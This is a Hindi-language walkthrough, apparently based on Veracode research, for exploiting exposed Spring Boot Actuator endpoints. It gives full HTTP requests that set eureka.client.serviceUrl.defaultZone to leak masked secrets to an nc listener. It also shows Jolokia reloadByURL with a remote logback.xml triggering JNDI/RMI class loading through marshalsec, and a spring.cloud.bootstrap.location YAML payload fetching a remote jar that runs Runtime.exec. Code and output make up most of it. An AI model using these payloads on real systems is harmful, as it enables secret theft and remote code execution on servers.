
SpringBoot_Actuator_RCE
/swagger-ui.html
जब हम सीधे springboot साइट तक पहुँचते हैं, तो हम देख सकते हैं कि कुछ password फ़ील्ड * से भरे हुए हैं।

संदर्भ https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA
विशिष्ट कार्यान्वयन प्रक्रिया:
उदाहरण के लिए: हमें pid पैरामीटर मान प्राप्त करना है
"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/
फिर refresh में कोई भी सामग्री POST करें, जिससे कमजोरी ट्रिगर होती है।
Ps: आमतौर पर प्रतिक्रिया पैकेट के लिए 3 सेकंड प्रतीक्षा करनी पड़ती है। यदि तुरंत वापस आता है, तो संभवतः सेवा में spring-boot-starter-actuator एक्सटेंशन पैकेज की कमी है, जिससे ताज़ा करना संभव नहीं होता और कमजोरी का उपयोग नहीं किया जा सकता
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312
जब सर्वर nc पोर्ट 2444 पर सुन रहा होता है, तो निम्न प्राप्त होता है:
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==
Authorization: Basic MzgzNDY6bnVsbA==
base64 डिकोड करने पर प्राप्त होता है:
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null
और यह ऊपर दी गई pid जानकारी के समान है।
इसी प्रकार user.country पैरामीटर प्राप्त करने के भी चरण समान हैं।
परिणाम:
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==
sent 0, rcvd 310
base64 डिकोड करने पर प्राप्त होता है:
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
क्वेरी करने के लिए पैरामीटर दर्ज करें, और nc द्वारा सुनने के लिए पोर्ट दर्ज करें।

पोर्ट सुनें, निर्दिष्ट header प्राप्त करें, और स्वचालित रूप से base64 डिकोड करें।

Ps: यदि आप भाग्यशाली हैं कि लक्ष्य के क्लासपाथ में Eureka-Client <1.8.7 है (आमतौर पर Spring Cloud Netflix में शामिल होता है), तो आप इसके XStream डिसीरियलाइज़ेशन कमजोरी का उपयोग कर सकते हैं।
उदाहरण के लिए: User-Agent: Java-EurekaClient/v1.4.11
git clone https://github.com/veracode-research/actuator-testbed
प्रारंभ करें:
mvn install
或
mvn spring-boot:run
संकलन और चलाने के बाद पता चलता है कि सुनने का IP पता 127.0.0.1 है, जिसे केवल स्थानीय मशीन से एक्सेस किया जा सकता है। Baidu पर खोजकर इसे 0.0.0.0 में बदलना पर्याप्त है।
मुख्य फ़ाइल ढूँढें:
grep -r 'server.address' -n ./
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1
निम्नानुसार बदलें:
server.port=8090
server.address=0.0.0.0
# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them
# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true
# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false
# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false
# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*
mvn spring-boot:run
या
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run
थोड़ी देर प्रतीक्षा करें:
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6 0 0 :::8090 :::* LISTEN 33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/jolokia/list

इसमें reloadByURL दूरस्थ URL XML फ़ाइल लोड कर सकता है:
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}
logback.xml फ़ाइल की सामग्री:

<configuration>
<insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>
ExportObject.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
InputStream var2 = var1.getInputStream();
BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));
String var4;
while((var4 = var3.readLine()) != null) {
System.out.println(var4);
}
var1.waitFor();
var2.close();
var3.close();
var1.destroy();
}
public static void main(String[] var0) throws Exception {
}
}
rmi पोर्ट सुनें:
root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject
root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection
ब्राउज़र दूरस्थ logback.xml फ़ाइल को लोड और पार्स करने के लिए एक्सेस करता है,
सर्वर दुर्भावनापूर्ण jndi पते तक पहुँचता है, जिससे दुर्भावनापूर्ण बाइटकोड निष्पादित होता है।
http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml


root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#
Spring पर्यावरण के spring.cloud.bootstrap.location प्रॉपर्टी को संशोधित करके RCE प्राप्त करने की विधि अधिक विश्वसनीय है।
यह प्रॉपर्टी बाहरी कॉन्फ़िगरेशन लोड करने और इसे YAML प्रारूप में पार्स करने के लिए उपयोग की जाती है। इसे प्राप्त करने के लिए, अभी भी POST /refresh पर कोई भी सामग्री भेजकर कमजोरी ट्रिगर करनी होती है।
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
]]
]
कोड https://github.com/artsploit/yaml-payload

AwesomeScriptEngineFactory.java का कुछ कोड:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (IOException e) {
e.printStackTrace();
}
}
ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java
इसमें वास्तविक बाइटकोड होता है, और कंस्ट्रक्टर में दुर्भावनापूर्ण पेलोड होता है।
ymal_payload.jar\services\javax.script.ScriptEngineFactory
यह केवल एक टेक्स्ट फ़ाइल है जिसमें 'artsploit.AwesomeScriptEngineFactory' का पूर्ण संदर्भ होता है, ताकि ServiceLoader को पता चले कि क्लास कहाँ ढूँढनी है।
सामग्री: artsploit.AwesomeScriptEngineFactory
jar फ़ाइल को http सर्वर पर रखें:
http://10.20.24.191:8090/ymal_payload.jar
spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312

root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html#
Ps: Eureka के XStream पेलोड की तुलना में, yaml विधि का उपयोग नवीनतम संस्करणों में भी किया जा सकता है।
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators